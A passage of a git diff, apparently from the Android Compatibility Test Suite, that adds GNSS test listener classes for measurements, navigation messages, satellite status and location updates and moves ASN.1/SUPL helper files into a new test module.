+    * Constructor for TestGnssMeasurementListener
+    * @param tag for Logging.
+    * @param eventsToCollect wait until the number of events collected.
+    */
+    public TestGnssMeasurementListener(String tag, int eventsToCollect) {
+        this(tag, eventsToCollect, false);
+    }
+
+    /**
+    * Constructor for TestGnssMeasurementListener
+    * @param tag for Logging.
+    * @param eventsToCollect wait until the number of events collected.
+    * @param filterByEventSize whether filter the GnssMeasurementsEvents when we collect them.
+    */
+    public TestGnssMeasurementListener(String tag, int eventsToCollect, boolean filterByEventSize) {
+        mTag = tag;
+        mCountDownLatch = new CountDownLatch(eventsToCollect);
+        mCountDownLatchStatus = new CountDownLatch(1);
+        mMeasurementsEvents = new ArrayList<>(eventsToCollect);
+        this.filterByEventSize = filterByEventSize;
+    }
+
+    @Override
+    public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
+        // Only count measurement events with more than 4 actual Measurements in same constellation
+        // with Cn0DbHz value greater than 18
+        if (event.getMeasurements().size() > 0) {
+            Log.i(mTag, "GnssMeasurementsEvent size:" + event.getMeasurements().size());
+            if (filterByEventSize) {
+                HashMap<Integer, Integer> constellationEventCount = new HashMap<>();
+                GnssClock gnssClock = event.getClock();
+                if (!gnssClock.hasFullBiasNanos()) {
+                    // If devices does not have FullBiasNanos yet, it will be difficult to check
+                    // the quality, so await this flag as well.
+                    return;
+                }
+                for (GnssMeasurement gnssMeasurement : event.getMeasurements()){
+                    int constellationType = gnssMeasurement.getConstellationType();
+                    // if the measurement's signal level is too small ignore
+                    if (gnssMeasurement.getCn0DbHz() < C_TO_N0_THRESHOLD_DB_HZ ||
+                        (gnssMeasurement.getState() & GnssMeasurement.STATE_TOW_DECODED) == 0) {
+                        continue;
+                    }
+                    if (constellationEventCount.containsKey(constellationType)) {
+                        constellationEventCount.put(constellationType,
+                            constellationEventCount.get(constellationType) + 1);
+                    }
+                    else {
+                        constellationEventCount.put(constellationType, 1);
+                    }
+                    if (constellationEventCount.get(constellationType) >= 4) {
+                        synchronized(mMeasurementsEvents) {
+                            mMeasurementsEvents.add(event);
+                        }
+                        mCountDownLatch.countDown();
+                        return;
+                    }
+                }
+            }
+            else {
+                synchronized(mMeasurementsEvents) {
+                    mMeasurementsEvents.add(event);
+                }
+                mCountDownLatch.countDown();
+            }
+        }
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatus = status;
+        mCountDownLatchStatus.countDown();
+    }
+
+    public boolean awaitStatus() throws InterruptedException {
+        return TestUtils.waitFor(mCountDownLatchStatus, STATUS_TIMEOUT_IN_SEC);
+    }
+
+    public boolean await() throws InterruptedException {
+        return TestUtils.waitFor(mCountDownLatch, MEAS_TIMEOUT_IN_SEC);
+    }
+
+
+    /**
+     * @return {@code true} if the state of the test ensures that data is expected to be collected,
+     *         {@code false} otherwise.
+     */
+    public boolean verifyStatus() {
+        switch (getStatus()) {
+            case GnssMeasurementsEvent.Callback.STATUS_NOT_SUPPORTED:
+                String message = "GnssMeasurements is not supported in the device:"
+                        + " verifications performed by this test may be skipped on older devices.";
+                Assert.fail(message);
+                return false;
+            case GnssMeasurementsEvent.Callback.STATUS_READY:
+                return true;
+            case GnssMeasurementsEvent.Callback.STATUS_LOCATION_DISABLED:
+                message =  "Location or GPS is disabled on the device:"
+                        + " enable location to continue the test";
+                Assert.fail(message);
+                return false;
+            default:
+                Assert.fail("GnssMeasurementsEvent status callback was not received.");
+        }
+        return false;
+    }
+
+    /**
+     * Get GPS Measurements Status.
+     *
+     * @return mStatus Gps Measurements Status
+     */
+    public int getStatus() {
+        return mStatus;
+    }
+
+    /**
+     * Get the current list of GPS Measurements Events.
+     *
+     * @return the current list of GPS Measurements Events
+     */
+    public List<GnssMeasurementsEvent> getEvents() {
+        synchronized(mMeasurementsEvents) {
+            List<GnssMeasurementsEvent> clone = new ArrayList<>();
+            clone.addAll(mMeasurementsEvents);
+            return clone;
+        }
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssNavigationMessageListener.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssNavigationMessageListener.java
new file mode 100644
index 0000000..332c99c
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssNavigationMessageListener.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssNavigationMessage;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestUtils;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving GPS satellite Navigation Messages from the GPS engine.
+ */
+class TestGnssNavigationMessageListener extends GnssNavigationMessage.Callback {
+
+    // Timeout in sec for count down latch wait
+    private static final int TIMEOUT_IN_SEC = 90;
+
+    private volatile int mStatus = -1;
+
+    private final String mTag;
+    private final int mEventsToCollect;
+    private final List<GnssNavigationMessage> mEvents;
+    private final CountDownLatch mCountDownLatch;
+
+    TestGnssNavigationMessageListener(String tag, int eventsToCollect) {
+        mTag = tag;
+        mCountDownLatch = new CountDownLatch(1);
+        mEventsToCollect = eventsToCollect;
+        mEvents = new CopyOnWriteArrayList<GnssNavigationMessage>();
+    }
+
+    @Override
+    public void onGnssNavigationMessageReceived(GnssNavigationMessage event) {
+        mEvents.add(event);
+        if (mEvents.size() > mEventsToCollect) {
+            mCountDownLatch.countDown();
+        }
+    }
+
+    @Override
+    public void onStatusChanged(int status) {
+        mStatus = status;
+        if (mStatus != GnssNavigationMessage.Callback.STATUS_READY) {
+            mCountDownLatch.countDown();
+        }
+    }
+
+    public boolean await() throws InterruptedException {
+        Log.i(mTag, "Number of GPS Navigation Message received = " + getEvents().size());
+        return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
+    }
+
+    /**
+     * Get GPS Navigation Message Status.
+     *
+     * @return mStatus Gps Navigation Message Status
+     */
+    public int getStatus() {
+        return mStatus;
+    }
+
+    /**
+     * @return {@code true} if the state of the test ensures that data is expected to be collected,
+     *         {@code false} otherwise.
+     */
+    public boolean verifyState() {
+        switch (getStatus()) {
+            case GnssNavigationMessage.Callback.STATUS_NOT_SUPPORTED:
+                SoftAssert.failAsWarning(mTag, "GnssNavigationMessage is not supported in the"
+                        + " device: verifications performed by this test will be skipped.");
+                return false;
+            case GnssNavigationMessage.Callback.STATUS_READY:
+                return true;
+            case GnssNavigationMessage.Callback.STATUS_LOCATION_DISABLED:
+                Log.i(mTag, "Location or GPS is disabled on the device: skipping the test.");
+                return false;
+            default:
+                Assert.fail("GnssNavigationMessage status callback was not received.");
+        }
+        return false;
+    }
+
+    /**
+     * Get list of GPS Navigation Message Events.
+     *
+     * @return mEvents list of GPS Navigation Message Events
+     */
+    public List<GnssNavigationMessage> getEvents() {
+        return mEvents;
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java
new file mode 100644
index 0000000..bfe3ac4
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssStatus;
+import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
+import android.util.Log;
+
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving notifications when GNSS status has changed.
+ */
+public class TestGnssStatusCallback extends GnssStatus.Callback {
+
+    private final String mTag;
+    private GnssStatus mGnssStatus = null;
+    // Timeout in sec for count down latch wait
+    private static final int TIMEOUT_IN_SEC = 90;
+    private final CountDownLatch mLatchStart;
+    private final CountDownLatch mLatchStatus;
+    private final CountDownLatch mLatchTtff;
+    private final CountDownLatch mLatchStop;
+
+    // Store list of Satellites including Gnss Band, constellation & SvId
+    private Set<String> mGnssUsedSvStringIds;
+
+    public TestGnssStatusCallback(String tag, int gpsStatusCountToCollect) {
+        this.mTag = tag;
+        mLatchStart = new CountDownLatch(1);
+        mLatchStatus = new CountDownLatch(gpsStatusCountToCollect);
+        mLatchTtff = new CountDownLatch(1);
+        mLatchStop = new CountDownLatch(1);
+        mGnssUsedSvStringIds = new HashSet<>();
+    }
+
+    @Override
+    public void onStarted() {
+        Log.i(mTag, "Gnss Status Listener Started");
+        mLatchStart.countDown();
+    }
+
+    @Override
+    public void onStopped() {
+        Log.i(mTag, "Gnss Status Listener Stopped");
+        mLatchStop.countDown();
+    }
+
+    @Override
+    public void onFirstFix(int ttffMillis) {
+        Log.i(mTag, "Gnss Status Listener Received TTFF");
+        mLatchTtff.countDown();
+    }
+
+    @Override
+    public void onSatelliteStatusChanged(GnssStatus status) {
+        Log.i(mTag, "Gnss Status Listener Received Status Update");
+        mGnssStatus = status;
+        for (int i = 0; i < status.getSatelliteCount(); i++) {
+            if (!status.usedInFix(i)) {
+                continue;
+            }
+            if (status.hasCarrierFrequencyHz(i)) {
+                mGnssUsedSvStringIds.add(
+                    TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
+                        status.getSvid(i), status.getCarrierFrequencyHz(i)));
+            } else {
+                mGnssUsedSvStringIds.add(
+                    TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
+                        status.getSvid(i)));
+            }
+        }
+        mLatchStatus.countDown();
+    }
+
+    /**
+     * Returns the list of SV String Ids which were used in fix during the collect
+     *
+     * @return mGnssUsedSvStringIds - Set of SV string Ids
+     */
+    public Set<String> getGnssUsedSvStringIds() {
+        return mGnssUsedSvStringIds;
+    }
+
+    /**
+     * Get GNSS Status.
+     *
+     * @return mGnssStatus GNSS Status
+     */
+    public GnssStatus getGnssStatus() {
+        return mGnssStatus;
+    }
+
+    public boolean awaitStart() throws InterruptedException {
+        return TestUtils.waitFor(mLatchStart, TIMEOUT_IN_SEC);
+    }
+
+    public boolean awaitStatus() throws InterruptedException {
+        return TestUtils.waitFor(mLatchStatus, TIMEOUT_IN_SEC);
+    }
+
+    public boolean awaitTtff() throws InterruptedException {
+        return TestUtils.waitFor(mLatchTtff, TIMEOUT_IN_SEC);
+    }
+
+    public boolean awaitStop() throws InterruptedException {
+        return TestUtils.waitFor(mLatchStop, TIMEOUT_IN_SEC);
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java
new file mode 100644
index 0000000..6252b18
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestLocationListener.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.gnss;
+
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.location.cts.common.TestUtils;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving notifications from the LocationManager when the location has changed.
+ */
+public class TestLocationListener implements LocationListener {
+    private volatile boolean mProviderEnabled;
+    private volatile boolean mLocationReceived;
+
+    // Timeout in sec for count down latch wait
+    private static final int TIMEOUT_IN_SEC = 120;
+    private final CountDownLatch mCountDownLatch;
+    private ConcurrentLinkedQueue<Location> mLocationList = null;
+
+    public TestLocationListener(int locationToCollect) {
+        mCountDownLatch = new CountDownLatch(locationToCollect);
+        mLocationList = new ConcurrentLinkedQueue<>();
+    }
+
+    @Override
+    public void onLocationChanged(Location location) {
+        mLocationReceived = true;
+        mLocationList.add(location);
+        mCountDownLatch.countDown();
+    }
+
+    @Override
+    public void onStatusChanged(String s, int i, Bundle bundle) {
+    }
+
+    @Override
+    public void onProviderEnabled(String s) {
+        if (LocationManager.GPS_PROVIDER.equals(s)) {
+            mProviderEnabled = true;
+        }
+    }
+
+    @Override
+    public void onProviderDisabled(String s) {
+        if (LocationManager.GPS_PROVIDER.equals(s)) {
+            mProviderEnabled = false;
+        }
+    }
+
+    public boolean await() throws InterruptedException {
+        return TestUtils.waitFor(mCountDownLatch, TIMEOUT_IN_SEC);
+    }
+
+    public boolean await(int timeInSec) throws InterruptedException {
+        return TestUtils.waitFor(mCountDownLatch, timeInSec);
+    }
+
+    /**
+     * Get the list of locations received.
+     *
+     * Makes a copy of {@code mLocationList}. New locations received after this call is
+     * made are not reflected in the returned list so that the returned list can be safely
+     * iterated without getting a ConcurrentModificationException. Occasionally,
+     * even after calling TestLocationManager.removeLocationUpdates(), the location listener
+     * can receive one or two location updates.
+     */
+    public List<Location> getReceivedLocationList(){
+        return new ArrayList(mLocationList);
+    }
+
+    /**
+     * Check if location provider is enabled.
+     *
+     * @return {@code true} if the location provider is enabled and {@code false}
+     *         if location provider is disabled.
+     */
+    public boolean isProviderEnabled() {
+        return mProviderEnabled;
+    }
+
+    /**
+     * Check if the location is received.
+     *
+     * @return {@code true} if the location is received and {@code false}
+     *         if location is not received.
+     */
+    public boolean isLocationReceived() {
+        return mLocationReceived;
+    }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BMPString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BMPString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BitString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1BitString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Boolean.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Boolean.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Boolean.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Boolean.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Choice.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Choice.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Choice.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Choice.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Enumerated.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Enumerated.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1GeneralString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1GeneralString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1IA5String.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1IA5String.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1IA5String.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Integer.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Integer.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Integer.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Null.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Null.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Null.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Null.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1NumericString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1NumericString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1NumericString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1NumericString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Object.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Object.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Object.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Object.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ObjectIdentifier.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1ObjectIdentifier.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ObjectIdentifier.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1OctetString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1OctetString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1OctetString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1ParameterObject.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ParameterObject.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1ParameterObject.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ParameterObject.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1PrintableString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1PrintableString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1PrintableString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1PrintableString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Sequence.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Sequence.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Sequence.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Sequence.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1SequenceOf.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SequenceOf.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1SequenceOf.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SequenceOf.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1SetOf.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SetOf.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1SetOf.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1SetOf.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Tag.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Tag.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Tag.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Tag.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1TagClass.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1TagClass.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1TagClass.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1TagClass.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1UTCTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1UTCTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1UTCTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1UTCTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Utf8String.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Utf8String.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Utf8String.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1VisibleString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1VisibleString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1VisibleString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1VisibleString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/BitStream.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStream.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/BitStream.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStream.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/BitStreamReader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStreamReader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/BitStreamReader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/BitStreamReader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/ChoiceComponent.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/ChoiceComponent.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/ChoiceComponent.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/ChoiceComponent.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PacketBuilder.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PacketBuilder.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/PacketBuilder.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PacketBuilder.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PerAlignedUtils.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerAlignedUtils.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/PerAlignedUtils.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerAlignedUtils.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/PerUnalignedUtils.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerUnalignedUtils.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/PerUnalignedUtils.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/PerUnalignedUtils.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/SequenceComponent.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/SequenceComponent.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/SequenceComponent.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/SequenceComponent.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/ExtensionContainer.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_extensiondatatypes/PrivateExtensionList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/Ext_GeographicalInformation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/map_lcs_datatypes/VelocityEstimate.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Accuracy.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Accuracy.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Accuracy.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Accuracy.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AccuracyOpt.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AccuracyOpt.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AccuracyOpt.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AccuracyOpt.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AcquisElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AcquisElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_AssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalAngleFields.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/AddionalAngleFields.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AddionalAngleFields.java
